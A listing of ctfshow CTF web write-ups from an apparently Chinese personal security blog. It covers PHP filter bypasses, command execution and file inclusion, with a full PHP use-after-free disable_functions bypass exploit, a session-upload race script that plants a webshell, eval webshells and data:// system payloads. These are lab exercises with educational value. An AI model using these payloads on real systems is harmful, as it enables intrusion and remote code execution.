首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,438 阅读
2
SSRF绕过总结
1,125 阅读
3
存储桶接管-漏洞复现
893 阅读
4
k8s安装及部分漏洞复现
851 阅读
5
春秋云镜免费靶场记录10.11
813 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
27
篇与
web
的结果
2021-05-06
ctfshow大牛杯web_checkin
很蠢的一次经历,先上源码: <?php error_reporting(0); include "config.php"; //flag in / function check_letter($code){ $letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890"); for ($i = 0; $i < count($letter_blacklist); $i+=2){ if (preg_match("/".$letter_blacklist[$i]."/i", $code)){ die("xi nei~"); } } } function check_character($code){ $character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>'); for ($i = 1; $i < count($character_blacklist); $i+=2){ if (preg_match("/".$character_blacklist[$i]."/", $code)){ die("tongtong xi nei~"); } } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if (!file_exists($dir)) { mkdir($dir); } if (isset($_GET["code"])) { $code = substr($_GET["code"], 0, 12); check_letter($code); check_character($code); file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile); echo $dir; }else{ highlight_file(__FILE__); } 查看源码可以知道此处的code参数是可控的,然后当时看到file_put_contents()的处理的时候,第一反应是直接将一句话写入index.php,然后文件包含,但是后来看到前面绕过了很多参数,然后后来的尝试也失败了,并且限制了code参数的长度要小于13,所以加上绕过基本无法实现,于是就尝试其他的做法:直接进行命令执行。看到上面的黑名单,这里的for循环实际上是只过滤了其中一半的字符,当时真的没仔细看,大体一过,认为这里是对code进行了一半的检查,然后过滤单数位置的字母数字,后来看到for循环里的blacklist是上面的字母数字的参数,就直接无语了...我是笨b...后面的特殊字符也一样,于是进行命令执行的时候就可以有很多没有被过滤的字符,被放出来的字母和数字有:bdfhjlnprtvxz24680,特殊字符中奇数位的特殊字符被释放出来:=、/、、%、)、^、$、、!等一些,其实到了这里基本上就有思路了,利用nl命令拿flag,payload:?code=?><?=nl%09/`,这里payload的构造是因为首先闭合前面的<?php,然后写入命令并执行,字母里只有nl和pr被放了出来,通配符的原因是在源码中只存在index.php,所以直接写入,然后访问给出的目录获取flag就可以了。总结:我是笨b。
2021年05月06日
223 阅读
0 评论
8 点赞
2021-04-27
ctfshowphp特性111-115
web111利用$GLOBALS进行全局变量的显示,看到getFlag函数,如果给v2赋全局变量的话,那么就会传递给v1,然后就可以显示全局变量,payload:?v1=ctfshow&v2=GLOBALSweb112做题的时候没仔细看,试了试php伪协议就出了...emm,回头看看,php伪协议绕过了is_file,is_file()作用是用来检测文件名是否正常文件名,还有这个姿势:file=compress.zlib://flag.phpweb113php伪协议被过滤了,但是可以使用新学的姿势:?file=compress.zlib://flag.php,但是这不是预期解,然后看到yu师傅的wp里有一个预期payload:?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php,原理还不清楚,有空回来补上。先丢个文章,atao师傅分享的php源码分析 require_once 绕过不能重复包含文件的限制web114过滤了好多,但是剩下了一个php和filter,直接php伪协议过,拿到flagweb115绕过trim()和is_numeric()函数,测试下for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }只有%0c可以利用,于是构造payload:?num=%0c36,拿到flag
2021年04月27日
185 阅读
0 评论
1 点赞
2021-04-19
ctfshowphp特性89-110
web89使用数组即可绕过,payload:num[]=1web90考查对于intval函数的应用:intval ( mixed $var [, int $base = 10 ] ) : intNote: 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格payload:?num=4776.0web91i 不区分(ignore)大小写m 多(more)行匹配 若存在换行n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配 $str ="abcnabc"; $preg = "/^abc$/m"; preg_match($preg, $str,$matchs);这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。s 特殊字符圆点 . 中包含换行符 默认的圆点 . 是匹配除换行符 n 之外的任何单字符,加上s之后, .包含换行符 $str ="abggabnacbs"; $preg = "/b./s"; preg_match_all($preg, $str,$matchs);这样匹配到的有三个 bg bn bsA 强制从目标字符串开头匹配;D 如果使用$限制结尾字符,则不允许结尾有换行; e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;通过这个加强对于正则表达式修饰符的理解,这里的要求是,首先经过第一个正则匹配,匹配php并且进行多行匹配,然后第二个正则是匹配php,因此思路就是经过第一个匹配,不经过第二个匹配,payload:?cmd=%0aphp,第一个正则时通过换行通过匹配,第二个正则因为%0a不通过。web92参考90web93与92不同,多加了一个对字母的绕过,因此不能使用十六进制,但是可以使用八进制,payload:?num=010574web94在93的基础上增加了一个对于首位字符是否是0的判断,可以直接加空格或者换行符进行绕过。payload:?num=%0a010574web95在94的基础上多过滤了.,依旧可以利用94的payload进行绕过。payload:?num=%0a010574web96过滤flag.php的情况下访问php可以通过绝对路径(/var/www/html/flag.php)、相对路径(./flag.php )、伪协议(php://filter/resource=flag.php)等方式访问web97md5()无法处理数组,会返回NULL,因此直接使用数组进行绕过就可以。payload:a[]=1&b[]=2拓展: $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)==md5($b)) ){ echo $flag; } md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。 payload: a=QNKCDZO&b=240610708 md5强碰撞 $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)===md5($b)) ){ echo $flag; } 这时候需要找到两个真正的md5值相同数据 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 web98查看源码可以知道,在第一行中,如果get中传入了一个参数那么就会被POST的参数覆盖,然后在最后一行中,给HTTP_FLAG出传入flag就可以得到flag,因此payload:?1=1,POST中:HTTP_FLAG=flagweb99$allow = array(1,'2','3'); var_dump(in_array('1.php',$allow)); 返回的为true $allow = array('1','2','3'); var_dump(in_array('1.php',$allow)); 返回false查看源代码可以知道,随机生成一个i,然后与n想比,相等则传入以n命名,content为参数的文件,由于1每次都传入,所以我们利用1来传入文件,payloa:?n=1.php POST中是content=<?php eval($_POST[1]);?>,多尝试几次,然后访问1.php,POST执行命令拿到flag。web100因为$v0是使用的and链接(如果是&&的话就需要v1、v2、v3都是数字才可以),所以只需要$v1是数字就可以是true,然后构造echo new ReflectionClass('ctfshow')来输出类,所以v2=echo new ReflectionClass('ctfshow')。payload:?v1=1&v2=echo new ReflectionClass('ctfshow')v3=;,拿到flag,还有一个非预期解,就是直接构造var_dump($ctfshow);来输出,这时v2=var_dump($ctfshow)/,v3=/,payload:?v1=1&v2=var_dump($ctfshow)/&v3=/,没有过滤,也可以直接执行命令,这就有很多解法了,payload3:v1=1&v2=-system('ls')-&v3=-1;,payload4:v1=1&v2=?><?php echo ls?>/&v3=;/最后转一下0x2dweb101非预期没了,直接用100的payload可以拿到flagweb102查看源码,需要传POST一个,GET两个,然后v4(用and链接)判断v2是不是为数字,然后进入if判断,从v2的第三个字符读起并和v1组成参数str然后包含s和v3,没有很好的思路,看yu师傅的wp知道如果该题php环境时php5的话,is_numeric()是可以识别十六进制的,php7不可以,而且v2是经过截断的,所以一定能返回true,所以如果是php5的话就可以使用hex2bin函数进行十六进制的转换,payload:?v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php,POST:v1=hex2bin,这里的v2就是一句话木马,,然后但是本题的环境不是php5,是php7,如果用这种方法的话就无法绕过v4进入if,所以需要构造一个没有0x的编码,看yu师傅的思路是先base64编码,然后十六进制(这里可以保留字母e,因为会被视为科学计数法),payload:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php,POST:v1=hex2bin,这里注意v3前面要加上两个任意数字,然后访问1.php查看源码拿到flag。web103可以继续使用102的payload拿到flag,这里只是对解码后的v2进行了php的过滤,并没有影响到102的payload。web104比较hash,但是这里没有进行v1和v2的比较,所以直接给两个相同的数就能拿到flag。web105考察变量覆盖。查看源码,传入GET请求时,例如n00bk1ng=flag,经过foreach后会变成$n00bk1ng=$flag,相当于把flag的值赋给了$n00bk1ng;传入POST请求时,有一步过滤的情况,就是不能直接指向flag,因此构造$error=$n00bk1ng=$flag的链,这样的话可以构造error=n00bk1ng,然后构造成功,拿到flag。$n00bk1ng起到传递作用。当然这是通过$error输出的flag,还可以通过$suces输出变量,此时payload:suces=flag,POST中flag=,这里置空让判断if(!$_POST['flag']==$flag)返回false,拿到flag。这里感觉没办法通过直接echo $flag拿到flag,因为要想通过使flag的值变化返回变化前的flag,不太可能,所以没尝试。web106加上了v1和v2值的比较,但是仍然可以使用数组绕过,如果这里给了强制类型转换的话,那就需要找几个符合条件的数:aaroZmOk aaK1STfY aaO8zKZF aa3OFF9mweb107parse_str()函数:将字符串解析成多个变量,如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。考点在于:如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。所以查看源码要利用v1给flag赋一个和v3md5值相等的值,因此构造payload:?v3=n00bk1ng,POST中v1=719b3ef20c76791038177f911336a1a8,就可以拿到flag们也可以直接v3=0,找一个0e开头的数也能拿到flag。web108涉及三个函数,ereg():用正则对一个字符串进行过滤,intval()获取变量的整数值,strrev()字符串反转,思路就很明确了,首先考虑使用%00截断使ereg()可以通过数字,然后靠字符串反转把数字前置,然后获取变量整数值,payload:?c=noob%00778,拿到flag。web109该正则的意思是匹配至少有一个字母的字符串,然后看下面的输出,eval("echo new $v1($v2());");这里使用php异常处理类(PHP异常处理),于是可以考虑构造Exception()异常并且不报错就可以。payload:?v1=Exception&v2=system("tac f")还可以使用ReflectionClass,payload:?v1=ReflectionClass&v2=system('tac f')web110和109一样,但是做出了非常严格的过滤,只留下了字母,这里考虑使用php内置类 利用 FilesystemIterator 获取指定目录下的所有文件(FilesystemIterator),使用函数为getcwd(),然后查看文件拿到flag,payload:?v1=Filesystemlterator&v2=getcwdhttps://blog.csdn.net/miuzzx/article/details/109168454?spm=1001.2014.3001.5501
2021年04月19日
126 阅读
0 评论
6 点赞
2021-04-13
ctfshow命令执行72-76
搬上大佬的博客Bypass open_basedir使用上一题的payload得不到flag,可以看到ini_set、var_dump函数都没有了,而且利用了open_basedir限制了目录的访问没有思路了,查看hint附hint代码:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } e xit(0); ?> //通过这个发现flag在flag0.txt //之后利用uaf的脚本进行命令执行可以看到,这个代码作用是用来发现flag所在位置,DirectoryIterator是在php5中增加的一个类,为用户提供一个简单的查看目录的接口。DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件,但是只会有根目录和open_basedir下的文件。使用opendir()+readdir()+glob://组合可以达到同样效果。可以看到是在flag0.txt.里。然后进行下一步的读取操作,由于flag0.txt是不在open_basedir中的,因此就需要使用uaf脚本进行读取。附群主脚本<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?> 即可拿到flagweb73既然还有使用opendir()+readdir()+glob://组合拿目录的姿势,这次就试试这个,payload:c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . ""; };include("flagx.txt");exit(); ,拿到目录,这次不需要使用uaf脚本读取了,直接include('/flagc.txt');exit();拿到flag不能读取的原因是在脚本中的strlen()函数禁止了,所以尝试使用新函数代替:fuction str_lrngth($s){ return count(str_pliot($s)); }也可以读取到flagweb74同上we75同上,但是这次需要连接数据库执行命令,看b站视频嫖的数据库信息。payload:c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);web76同上,文件改为flag36d.txt学习自该网站:https://www.cnblogs.com/hookjoy/p/12846164.html
2021年04月13日
211 阅读
0 评论
7 点赞
2021-04-12
ctfshow文件包含78-88、116-122、124
web78没有任何过滤的php伪协议直接文件包含,payload:?file=php://filter/read=convert.base64-encode/resource=flag.phpweb79对php进行了过滤,我们可以利用data协议进行文件包含,payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==,拿到flagweb80利用ua头进行日志包含,ua里写入一句话,然后POST传参,访问日志拿到flag。uapayload:<?php eval($_POST[a]);?>,POST传参:a=system("tac fl0g.php");web81同上web82因为过滤了.,所以就需要利用无后缀的文件,在php中只有session文件是没有后缀的,所以需要利用session.upload来进行文件包含,而本题中没有上传session值,但是只要上传PHPSESSID就会在默认session目录里生成一个/tmp/sess_%id%的文件,而这里是无后缀的,但是我们需要控制文件内容,而控制文件内容就需要PHP_SESSION_UPLOAD_PROGRESS参数,这个参数是获取实时文件上传进度的,会返回一个session,因此就可以利用他来指定session内容,然后进行文件包含,参考脚本:import requests import io import threading url = 'http://1ff11797-c41e-4aac-a3ca-95c30610563f.challenge.ctf.show:8080/' sessionid = 'ctfshow' data = { "1": "file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" } def write(session): fileBytes = io.BytesIO(b'a' * 1024 * 50) while True: response = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' }, cookies={ 'PHPSESSID': sessionid }, files={ 'file': ('ctfshow.jpg', fileBytes) } ) def read(session): while True: response = session.post(url + '?file=/tmp/sess_' + sessionid, data=data, cookies={ 'PHPSESSID': sessionid } ) resposne2 = session.get(url + '2.php') if resposne2.status_code == 200: print('++++++done++++++') else: print(resposne2.status_code) if __name__ == '__main__': evnet = threading.Event() with requests.session() as session: for i in range(5): threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() evnet.set()web83虽然可以直接使用上面的脚本,但是这里还是需要看一下83与82的区别,83增加了一个对于session的处理,在最前面加了一个清除session的参数,但是我们执行脚本之后,session清除之前就可以实现文件的上传,所以仍然可以进行后续的文件包含,因此仍然可以实现。web84仍然可以使用以上的脚本,但是这里可以看到实际上做出了对于tmp/*的处理,也就是直接删除,但是我们的脚本中使用了多线程,因此在执行rm rf的时候由于多线程,可能同时又一次执行了生成tmp文件的过程,因此仍然可以包含进去,因此仍然可以进行文件包含,然后拿到flagweb85这歌地方不能使用原来的脚本了,在这里他过滤了<字符,因此尝试使用伪协议进行修改,但是仍然没有成功,于是想到83中可以利用多线程的web86仍然可以使用上面的脚本,但是这里还是要看看,相当于加入了一个变量用来存储路径,直接使用脚本拿到flagweb87这里除了对之前一些字符的过滤之外,还进行了对file的一次url解码,并且同时对content进行传参,因此这里使用php://过滤器的方法,先把payload放上来,payload:?file=php://filter/write=stirng.rot13/resource=1.php,然后吧payload进行两次url编码,dull url encode,然后进行content的传参,payload:content=<?cuc flfgrz('gnp s*.cuc');?>,上传成功后访问1.php然后拿到flag。web88过滤了好多字符,但是可以看到没有过滤:,所以可以使用伪协议,于是我们想到使用data伪协议加上base64进行命令执行,然后payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4g,然后这里有个细节就是base64编码中不能存在=和+,因为对这两个符号进行了过滤,所以可以尝试在最后加一个空格,就可以成功绕过,拿到flag。web116进去后一个视频,看到hint是misc+lfi,所以保存mp4,foremost可以分理处一张源码的图片,看到有file_get_contents,就直接构造file=flag.php,但是网页是获取mp4格式的,所以无法直接查看flag,抓包拿到flag。web117丢出这类问题的一个总结文章(file_put_content和死亡·杂糅代码之缘),但是,看完了也做不出来,因为这里的rot13和base64都被过滤了,然后看大佬的wp,可以尝试使用iconv.UCS-2LE.UCS-2BE,这个编码的作用是字符两位两位进行交换,然后就可以让die函数失效,然后包含a.php读取flag。payload:?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php,POST中contents=?<hp pvela$(P_SO[T]1;)>?。还有很多编码方式都可以利用web118使用内置变量将命令表示出来,可以测试${PATH:~0}是n,但是这里数字被过滤了,因此需要使用A代替,然后使用${PWD:~0}表示l,结合通配符将nl flag.php表示出来,payload:${PATH:~A}${PWD:~A} ????.???web119ban掉了PATH、HOME、BASH,看yu师傅的文章,使用base64进行转码拿到flag,这时候结合通配符只需要表示/和4就可以实现,于是使用${PWD::${#SHLVL}}表示/,使用${#RANDOM}随机到4,使用通配符表示其他,也就是执行命令/bin/base64 flag.php,payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???,拿到flag,看到ctfshow上的hint里,使用的是${HOME:${#HOSTHOME}:${#SHLVL}}表示t,使用${PWD:${Z}:${#SHLVL}}表示/,构造/bin/cat flag.php,也能拿到flag,姿势很多。web120直接使用119的思路就可以解决120,构造/bin/base64 flag.php拿flagweb121这里把SHLVLban了,可以使用$?表示1,构造的时候就变成了:${PWD::${#?}},其他的相同,119的payload直接替换即可,试看了feng师傅的wp之后,试了下${##}也能表示出1,也能得到flag。web122把PWD和#过滤了,PWD可以直接用HOME代替,但是因为过滤了#,无法使用内置变量来后区数字,这时候可以使用上面121利用的$?表示数字1$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。因此构造payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???,多次刷新,随机到4的时候就可以拿到flagweb124自己没操作出来,直接看yu师傅的吧...白名单里包含了可以执行的数学函数,基本思路就是利用数学函数构造命令语句执行,先了解下面函数base_convert(number,frombase,tobase); 参数描述 number必需。规定要转换的数。frombase必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a表示 10,b 表示 11 以及 z 表示 35。 tobase必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。bindec — 二进制转换为十进制 bindec ( string $binary_string ) : numberdecbin — 十进制转换为二进制 decbin ( int $number ) : stringdechex — 十进制转换为十六进制 dechex ( int $number ) : stringdecoct — 十进制转换为八进制 decoct ( int $number ) : stringhexdec — 十六进制转换为十进制 hexdec ( int $number ) : string尝试构造语句:?c=$_GET[a]($_GET[b])&a=system&b=cat f,之前做过这类题,知道可以利用hex2bin函数进行16进制转换字符串的操作,然后dechex可以将10进制转换成十六进制,所以大体思路就是构造hex2bin函数,然后通过上面的连续操作构造一个使用数字函数和数字的payload,而构造hex2bin则需要用到base_convert了,因为36进制中包含了所有的数字和字母,所以直接将hex2bin转换为10进制就可以了,然后中括号使用花括号进行表示,就可以构造一个base_convert(37907361743,10,36)(dechex(1598506324));然后构造整个payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f,在这个过程中,所有的变量名也要使用函数名,不然还是拿不到flag。yu师傅博客
2021年04月12日
226 阅读
0 评论
1 点赞
2021-04-09
ctfshow命令执行54-71
web54加强了对于各个命令的正则过滤,于是使用通配符。payload:?c=/bin/?at${IFS}f??????web55过滤了字母和空格以及空格的多种绕过,百分号也被绕过,用了Y4师傅的脚本,脚本原理是上传一个文件,在上传时会同时生成一个临时文件,通过使用特殊字符加通配符访问该文件获取flag具体就是上传文件后存放于一个临时目录,命名规则为/tmp/phpxxxxxX,可以在本地新建一个html用来上传文件,然后抓包,然后payload:?c=. /???/???????[@-Z],.可以作为执行命令,?是通配符,在ascii码表中,大写字母是位于@和[之间的,所以可以利用[@-Z]来代替大写字母,然后对上传文件的内容进行更改,进行命令执行,例如ls、cat flag.php等都可以,然后就可以拿到flag。web56同上web57查看源码知道需要构造36,这里可以利用$(())与整数运算。payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))。我自己推了一个payload,但是不知道为啥不能运行,丢在这里师傅们看一下:$((~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(())))+~$((~$(())+~$(()))))),加url编码可以解决。web58改为post传参,但是没有任何过滤,直接highlight_file('flag.php');拿到flagweb59同上web60-65同上web66上当了,这次的flag存放在了flag.txt里,所以访问flag.txt就可以看到flag,payload:?c=highlight_file('/flag.txt');web67同上web68这次估计是highlight_file和show_source都不能用了,于是使用include执行index.php查看源代码,发现字节太大,于是访问flag.php没有,于是访问flag.txt,拿到flag。web69同上web70禁用了更多函数,但是include和require仍然可以访问,。payload:c=include('/flag.txt');web71下载源码可以看到,使用了两个函数,一个是ob_get_contents();得到缓冲区的数据。另一个是ob_end_clean();会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。因此我们需要和之前的题一样,进行类似截断的操作,让后面无法运行,于是在后面加exit()进行类似截断的操作。payload:c=include('/flag.txt');exit();
2021年04月09日
221 阅读
0 评论
5 点赞
1
2
3
4
5